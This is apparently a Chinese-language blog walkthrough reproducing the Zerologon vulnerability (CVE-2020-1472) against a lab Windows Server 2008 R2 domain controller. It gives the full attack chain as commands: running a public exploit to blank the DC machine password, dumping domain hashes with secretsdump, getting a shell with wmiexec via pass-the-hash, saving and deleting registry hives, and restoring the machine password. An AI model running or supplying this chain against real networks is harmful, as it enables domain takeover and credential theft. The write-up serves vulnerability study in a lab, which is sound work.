摘要
2020年08月12日，Windows官方 發布了 NetLogon 特權提升漏洞 的風險通告，該漏洞編號為 CVE-2020-1472，漏洞等級：嚴重，漏洞評分：10分
攻擊者通過NetLogon（MS-NRPC），建立與域控間易受攻擊的安全通道時，可利用此漏洞獲取域管訪問權限。成功利用此漏洞的攻擊者可以在該網絡中的設備上運行經特殊設計的應用程序
影響版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
復現環境
域內DC
版本:Windows Server 2008 R2 64位
ip:192.168.111.130
Blosname:WIN-03OO218S5B8
攻擊機器
Macos
python3
impacket使用這個 https://github.com/SecureAuthCorp/impacket (下載后 sudo pip3 install .)
重置域內管理員密碼poc https://github.com/dirkjanm/CVE-2020-1472
恢復密碼poc https://github.com/risksense/zerologon
復現開始
首先使用POC重置管理員密鑰
python3 cve-2020-1472-exploit.py WIN-03OO218S5B8 192.168.111.130

通過 Dcsync 查看密碼hash
secretsdump.py Mikasa.com/WIN-03OO218S5B8\$@192.168.111.130 -just-dc -no-pass

通過wmiexec獲取到Shell
wmiexec.py Mikasa.com/administrator@192.168.111.130 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
但是我這里不行,因為我的密碼過期了,所以強制我更新密碼(我就是忘了密碼才復現這個漏洞的),但是我們已經修改為空了,我們進入把密碼改后才能其他的就行了(這個我改為 pass@123 ntlm就是51a52c415264a8fc31520f66f2f50459)
wmiexec.py Mikasa.com/administrator@192.168.111.130 -hashes :51a52c415264a8fc31520f66f2f50459

密碼復原操作
備份注冊表
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

使用secretsdump解析保存在本地的nt hash

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
最后運行risksense的恢復腳本將$MACHINE.ACC:plain_password_hex中的原來nt hash恢復
python3 reinstall_original_pw.py WIN-03OO218S5B8 192.168.111.130 9c17abbf4129364354dbdb0109be6fbfa01164a8c5e96703c78821ef1b95da8be766de10c84d99b591488cce5c2b18465d43ada98e3178d99553a66a1a0e983f6954cfd1b6fe9044ea8cb0ffac81dacd135d3b289cc001adc8b9fc54e1f4aa89d8bfc23a9dd8f59662cf81e5d1adf7b37f457729f6f444f58b5d715bbbdcae81e270b27cefc8c3193ef808b70fceb66261c968d71689d3ac2f3af6f18bd43b46faa1160eabacddbcd0c6d50e81548ccdecde2748e178dcaa13c0abc93bcb3e8ea1859aabb0a0be213b52c2bcf8350ba5d792ecbae99cf6b6170a0cbb4d5fd99eee09490c6cb7b5b5db409aa0b92a5a29

復現完成!
思考
這個漏洞的影響確實很大,只需要與域控建立TCP連接即可拿下域控(有當初永恆之藍那味了)
參考鏈接
https://www.cnblogs.com/goabout2/p/13676527.html